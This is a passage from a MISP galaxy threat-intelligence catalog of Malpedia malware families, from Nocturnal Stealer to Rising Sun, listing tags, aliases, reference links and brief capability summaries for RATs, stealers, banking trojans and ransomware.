http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf |
http://csecybsec.com/download/zlab/20171221_CSE_Bladabindi_Report.pdf |
Nocturnal Stealer
The tag is: misp-galaxy:malpedia="Nocturnal Stealer"
Nocturnal Stealer is also known as:
Nokki
Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.
The tag is: misp-galaxy:malpedia="Nokki"
Nokki is also known as:
Links |
Nozelesn (Decryptor)
The tag is: misp-galaxy:malpedia="Nozelesn (Decryptor)"
Nozelesn (Decryptor) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor |
nRansom
The tag is: misp-galaxy:malpedia="nRansom"
nRansom is also known as:
Nymaim
The tag is: misp-galaxy:malpedia="Nymaim"
Nymaim is also known as:
-
nymain
Nymaim2
The tag is: misp-galaxy:malpedia="Nymaim2"
Nymaim2 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2 |
https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/ |
Oceansalt
The tag is: misp-galaxy:malpedia="Oceansalt"
Oceansalt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt |
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf |
Octopus
The tag is: misp-galaxy:malpedia="Octopus"
Octopus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus |
https://securelist.com/octopus-infested-seas-of-central-asia/88200/ |
OddJob
The tag is: misp-galaxy:malpedia="OddJob"
OddJob is also known as:
Links |
Odinaff
The tag is: misp-galaxy:malpedia="Odinaff"
Odinaff is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff |
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks |
OLDBAIT
According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.
The tag is: misp-galaxy:malpedia="OLDBAIT"
OLDBAIT is also known as:
-
Sasfis
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait |
Olympic Destroyer
Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.
The tag is: misp-galaxy:malpedia="Olympic Destroyer"
Olympic Destroyer is also known as:
OneKeyLocker
The tag is: misp-galaxy:malpedia="OneKeyLocker"
OneKeyLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.onekeylocker |
https://twitter.com/malwrhunterteam/status/1001461507513880576 |
ONHAT
The tag is: misp-galaxy:malpedia="ONHAT"
ONHAT is also known as:
Links |
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview |
OnionDuke
OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.
The tag is: misp-galaxy:malpedia="OnionDuke"
OnionDuke is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke |
http://contagiodump.blogspot.com/2014/11/onionduke-samples.html |
OnlinerSpambot
A spambot that has been observed being used for spreading Ursninf, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.
The tag is: misp-galaxy:malpedia="OnlinerSpambot"
OnlinerSpambot is also known as:
-
Onliner
-
SBot
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner |
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html |
OopsIE
The tag is: misp-galaxy:malpedia="OopsIE"
OopsIE is also known as:
Links |
Opachki
The tag is: misp-galaxy:malpedia="Opachki"
Opachki is also known as:
OpGhoul
The tag is: misp-galaxy:malpedia="OpGhoul"
OpGhoul is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul |
OpBlockBuster
The tag is: misp-galaxy:malpedia="OpBlockBuster"
OpBlockBuster is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster |
http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/ |
ORANGEADE
FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.
The tag is: misp-galaxy:malpedia="ORANGEADE"
ORANGEADE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade |
OrcaRAT
OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.
The tag is: misp-galaxy:malpedia="OrcaRAT"
OrcaRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat |
http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html |
Orcus RAT
Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.
The tag is: misp-galaxy:malpedia="Orcus RAT"
Orcus RAT is also known as:
Ordinypt
The tag is: misp-galaxy:malpedia="Ordinypt"
Ordinypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt |
Outlook Backdoor
The tag is: misp-galaxy:malpedia="Outlook Backdoor"
Outlook Backdoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor |
https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf |
Overlay RAT
The tag is: misp-galaxy:malpedia="Overlay RAT"
Overlay RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat |
https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking |
OvidiyStealer
The tag is: misp-galaxy:malpedia="OvidiyStealer"
OvidiyStealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer |
owaauth
The tag is: misp-galaxy:malpedia="owaauth"
owaauth is also known as:
-
luckyowa
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth |
https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/ |
PadCrypt
The tag is: misp-galaxy:malpedia="PadCrypt"
PadCrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt |
paladin
Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.
The tag is: misp-galaxy:malpedia="paladin"
paladin is also known as:
PandaBanker
According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.
This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.
The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.
Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.
The tag is: misp-galaxy:malpedia="PandaBanker"
PandaBanker is also known as:
-
ZeusPanda
parasite_http
The tag is: misp-galaxy:malpedia="parasite_http"
parasite_http is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http |
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks |
Peepy RAT
Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.
The tag is: misp-galaxy:malpedia="Peepy RAT"
Peepy RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.peepy_rat |
Penco
The tag is: misp-galaxy:malpedia="Penco"
Penco is also known as:
Links |
PetrWrap
The tag is: misp-galaxy:malpedia="PetrWrap"
PetrWrap is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap |
Petya
The tag is: misp-galaxy:malpedia="Petya"
Petya is also known as:
pgift
Information gathering and downloading tool used to deliver second stage malware to the infected system
The tag is: misp-galaxy:malpedia="pgift"
pgift is also known as:
-
ReRol
Links |
PhanDoor
The tag is: misp-galaxy:malpedia="PhanDoor"
PhanDoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor |
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf] |
Philadephia Ransom
The tag is: misp-galaxy:malpedia="Philadephia Ransom"
Philadephia Ransom is also known as:
PHOREAL
Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53
The tag is: misp-galaxy:malpedia="PHOREAL"
PHOREAL is also known as:
-
Rizzo
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal |
Phorpiex
Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.
The tag is: misp-galaxy:malpedia="Phorpiex"
Phorpiex is also known as:
-
Trik
pipcreat
The tag is: misp-galaxy:malpedia="pipcreat"
pipcreat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat |
pirpi
The tag is: misp-galaxy:malpedia="pirpi"
pirpi is also known as:
Links |
Pitou
The tag is: misp-galaxy:malpedia="Pitou"
Pitou is also known as:
Links |
https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf |
PittyTiger RAT
The tag is: misp-galaxy:malpedia="PittyTiger RAT"
PittyTiger RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat |
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf |
Pkybot
Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.
The tag is: misp-galaxy:malpedia="Pkybot"
Pkybot is also known as:
-
Bublik
-
Pykbot
-
TBag
Links |
https://blog.fortinet.com/2014/05/29/bublik-downloader-evolution |
PLAINTEE
The tag is: misp-galaxy:malpedia="PLAINTEE"
PLAINTEE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee |
playwork
The tag is: misp-galaxy:malpedia="playwork"
playwork is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork |
https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html |
PLEAD
The tag is: misp-galaxy:malpedia="PLEAD"
PLEAD is also known as:
-
TSCookie
Links |
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html |
Plexor
The tag is: misp-galaxy:malpedia="Plexor"
Plexor is also known as:
Ploutus ATM
The tag is: misp-galaxy:malpedia="Ploutus ATM"
Ploutus ATM is also known as:
ployx
The tag is: misp-galaxy:malpedia="ployx"
ployx is also known as:
Links |
https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPloyx-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPloyx-A/detailed-analysis.aspx] |
PlugX
RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim’s machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.
Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.
The malware also logs its events in a text log file.
The tag is: misp-galaxy:malpedia="PlugX"
PlugX is also known as:
-
Korplug
pngdowner
The tag is: misp-galaxy:malpedia="pngdowner"
pngdowner is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner |
https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31 |
Poison Ivy
The tag is: misp-galaxy:malpedia="Poison Ivy"
Poison Ivy is also known as:
-
pivy
-
poisonivy
Polyglot
The tag is: misp-galaxy:malpedia="Polyglot"
Polyglot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom |
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/ |
Pony
The tag is: misp-galaxy:malpedia="Pony"
Pony is also known as:
-
Fareit
-
Siplog
Links |
https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf |
https://www.uperesia.com/analysis-of-a-packed-pony-downloader |
PoohMilk Loader
The tag is: misp-galaxy:malpedia="PoohMilk Loader"
PoohMilk Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk |
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
Popcorn Time
The tag is: misp-galaxy:malpedia="Popcorn Time"
Popcorn Time is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time |
https://twitter.com/malwrhunterteam/status/806595092177965058 |
portless
The tag is: misp-galaxy:malpedia="portless"
portless is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.portless |
poscardstealer
The tag is: misp-galaxy:malpedia="poscardstealer"
poscardstealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer |
PoshC2
The tag is: misp-galaxy:malpedia="PoshC2"
PoshC2 is also known as:
Links |
Poweliks Dropper
The tag is: misp-galaxy:malpedia="Poweliks Dropper"
Poweliks Dropper is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks_dropper |
https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users |
PowerDuke
The tag is: misp-galaxy:malpedia="PowerDuke"
PowerDuke is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke |
powerkatz
The tag is: misp-galaxy:malpedia="powerkatz"
powerkatz is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz |
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/ |
PowerPool
The tag is: misp-galaxy:malpedia="PowerPool"
PowerPool is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool |
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/ |
Powersniff
A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.
The tag is: misp-galaxy:malpedia="Powersniff"
Powersniff is also known as:
PowerRatankba
The tag is: misp-galaxy:malpedia="PowerRatankba"
PowerRatankba is also known as:
prb_backdoor
The tag is: misp-galaxy:malpedia="prb_backdoor"
prb_backdoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor |
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html |
Predator The Thief
The tag is: misp-galaxy:malpedia="Predator The Thief"
Predator The Thief is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.predator |
https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/ |
Prikorma
The tag is: misp-galaxy:malpedia="Prikorma"
Prikorma is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka |
https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
Prilex
The tag is: misp-galaxy:malpedia="Prilex"
Prilex is also known as:
Links |
PrincessLocker
The tag is: misp-galaxy:malpedia="PrincessLocker"
PrincessLocker is also known as:
PsiX
According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.
In binaries, apart from BotModule and MainModule, references to the following Modules have be observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule
The tag is: misp-galaxy:malpedia="PsiX"
PsiX is also known as:
Links |
https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/ |
PC Surveillance System
Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.
The tag is: misp-galaxy:malpedia="PC Surveillance System"
PC Surveillance System is also known as:
-
PSS
Links |
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/ |
Pteranodon
The tag is: misp-galaxy:malpedia="Pteranodon"
Pteranodon is also known as:
PubNubRAT
The tag is: misp-galaxy:malpedia="PubNubRAT"
PubNubRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat |
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html |
Punkey POS
The tag is: misp-galaxy:malpedia="Punkey POS"
Punkey POS is also known as:
pupy (Windows)
Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.
The tag is: misp-galaxy:malpedia="pupy (Windows)"
pupy (Windows) is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage |
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations |
Pushdo
Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.
The tag is: misp-galaxy:malpedia="Pushdo"
Pushdo is also known as:
Links |
https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ |
Putabmow
The tag is: misp-galaxy:malpedia="Putabmow"
Putabmow is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow |
PvzOut
The tag is: misp-galaxy:malpedia="PvzOut"
PvzOut is also known as:
Links |
pwnpos
The tag is: misp-galaxy:malpedia="pwnpos"
pwnpos is also known as:
Links |
https://twitter.com/physicaldrive0/status/573109512145649664 |
https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html |
Pykspa
The tag is: misp-galaxy:malpedia="Pykspa"
Pykspa is also known as:
Links |
https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/ |
PyLocky
PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller.
The tag is: misp-galaxy:malpedia="PyLocky"
PyLocky is also known as:
-
Locky Locker
Qaccel
The tag is: misp-galaxy:malpedia="Qaccel"
Qaccel is also known as:
Links |
Qadars
The tag is: misp-galaxy:malpedia="Qadars"
Qadars is also known as:
QakBot
The tag is: misp-galaxy:malpedia="QakBot"
QakBot is also known as:
-
Pinkslipbot
-
Qbot
QHost
The tag is: misp-galaxy:malpedia="QHost"
QHost is also known as:
-
Tolouge
Links |
QtBot
The tag is: misp-galaxy:malpedia="QtBot"
QtBot is also known as:
-
qtproject
Links |
Quant Loader
The tag is: misp-galaxy:malpedia="Quant Loader"
Quant Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.quant_loader |
https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/ |
Quasar RAT
Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.
The tag is: misp-galaxy:malpedia="Quasar RAT"
Quasar RAT is also known as:
Qulab
Qulab is an AutoIT Malware focusing on stealing & clipping content from victim’s machines.
The tag is: misp-galaxy:malpedia="Qulab"
Qulab is also known as:
Links |
https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/ |
r980
The tag is: misp-galaxy:malpedia="r980"
r980 is also known as:
Links |
Radamant
The tag is: misp-galaxy:malpedia="Radamant"
Radamant is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant |
https://www.cyphort.com/radamant-ransomware-distributed-via-rig-ek/ |
RadRAT
The tag is: misp-galaxy:malpedia="RadRAT"
RadRAT is also known as:
Links |
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/ |
Rakhni
The tag is: misp-galaxy:malpedia="Rakhni"
Rakhni is also known as:
Links |
https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/ |
Rambo
The tag is: misp-galaxy:malpedia="Rambo"
Rambo is also known as:
-
brebsd
Links |
https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html |
Ramdo
The tag is: misp-galaxy:malpedia="Ramdo"
Ramdo is also known as:
Links |
Ramnit
The tag is: misp-galaxy:malpedia="Ramnit"
Ramnit is also known as:
-
Nimnul
Ranbyus
The tag is: misp-galaxy:malpedia="Ranbyus"
Ranbyus is also known as:
Ranscam
The tag is: misp-galaxy:malpedia="Ranscam"
Ranscam is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam |
Ransoc
The tag is: misp-galaxy:malpedia="Ransoc"
Ransoc is also known as:
Links |
Ransomlock
The tag is: misp-galaxy:malpedia="Ransomlock"
Ransomlock is also known as:
-
WinLock
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2 |
Rapid Ransom
The tag is: misp-galaxy:malpedia="Rapid Ransom"
Rapid Ransom is also known as:
RapidStealer
The tag is: misp-galaxy:malpedia="RapidStealer"
RapidStealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer |
http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html |
Rarog
The tag is: misp-galaxy:malpedia="Rarog"
Rarog is also known as:
Links |
https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/ |
rarstar
The tag is: misp-galaxy:malpedia="rarstar"
rarstar is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
RatabankaPOS
The tag is: misp-galaxy:malpedia="RatabankaPOS"
RatabankaPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratabankapos |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
RawPOS
The tag is: misp-galaxy:malpedia="RawPOS"
RawPOS is also known as:
Links |
https://threatvector.cylance.com/en_us/home/rawpos-malware.html |
RCS
The tag is: misp-galaxy:malpedia="RCS"
RCS is also known as:
-
Crisis
-
Remote Control System
rdasrv
The tag is: misp-galaxy:malpedia="rdasrv"
rdasrv is also known as:
Links |
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf |
ReactorBot
Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.
The tag is: misp-galaxy:malpedia="ReactorBot"
ReactorBot is also known as:
Reaver
Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.
The tag is: misp-galaxy:malpedia="Reaver"
Reaver is also known as:
Links |
RedAlpha
The tag is: misp-galaxy:malpedia="RedAlpha"
RedAlpha is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha |
Redaman
The tag is: misp-galaxy:malpedia="Redaman"
Redaman is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.redaman |
https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/ |
RedLeaves
The tag is: misp-galaxy:malpedia="RedLeaves"
RedLeaves is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves |
https://www.accenture.com/t20180423T055005Zw/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Zw/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf] |
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
http://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf |
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves |
Redyms
The tag is: misp-galaxy:malpedia="Redyms"
Redyms is also known as:
Links |
https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/ |
Red Alert
The tag is: misp-galaxy:malpedia="Red Alert"
Red Alert is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert |
https://twitter.com/JaromirHorejsi/status/816237293073797121 |
Red Gambler
The tag is: misp-galaxy:malpedia="Red Gambler"
Red Gambler is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler |
http://image.ahnlab.com/file_upload/asecissue_files/ASEC%20REPORT_vol.91.pdf |
reGeorg
The tag is: misp-galaxy:malpedia="reGeorg"
reGeorg is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg |
Regin
The tag is: misp-galaxy:malpedia="Regin"
Regin is also known as:
Links |
Remcos
The tag is: misp-galaxy:malpedia="Remcos"
Remcos is also known as:
Remexi
The tag is: misp-galaxy:malpedia="Remexi"
Remexi is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions |
Remsec
The tag is: misp-galaxy:malpedia="Remsec"
Remsec is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider |
Remy
The tag is: misp-galaxy:malpedia="Remy"
Remy is also known as:
Links |
Rerdom
The tag is: misp-galaxy:malpedia="Rerdom"
Rerdom is also known as:
Links |
Retadup
The tag is: misp-galaxy:malpedia="Retadup"
Retadup is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup |
Retefe (Windows)
Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It’s primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.
The tag is: misp-galaxy:malpedia="Retefe (Windows)"
Retefe (Windows) is also known as:
-
Tsukuba
-
Werdlod
Links |
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/ |
Revenge RAT
The tag is: misp-galaxy:malpedia="Revenge RAT"
Revenge RAT is also known as:
-
Revetrat
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat |
http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/ |
RGDoor
The tag is: misp-galaxy:malpedia="RGDoor"
RGDoor is also known as:
Links |
Rietspoof
Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.
The tag is: misp-galaxy:malpedia="Rietspoof"
Rietspoof is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof |
Rifdoor
The tag is: misp-galaxy:malpedia="Rifdoor"
Rifdoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor |
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf] |
Rikamanu
The tag is: misp-galaxy:malpedia="Rikamanu"
Rikamanu is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
Rincux
The tag is: misp-galaxy:malpedia="Rincux"
Rincux is also known as:
Links |
https://www.virusbulletin.com/uploads/pdf/conference_slides/2011/Edwards-Nazario-VB2011.pdf |
Ripper ATM
The tag is: misp-galaxy:malpedia="Ripper ATM"
Ripper ATM is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm |
http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/ |
Rising Sun
The tag is: misp-galaxy:malpedia="Rising Sun"
Rising Sun is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun |
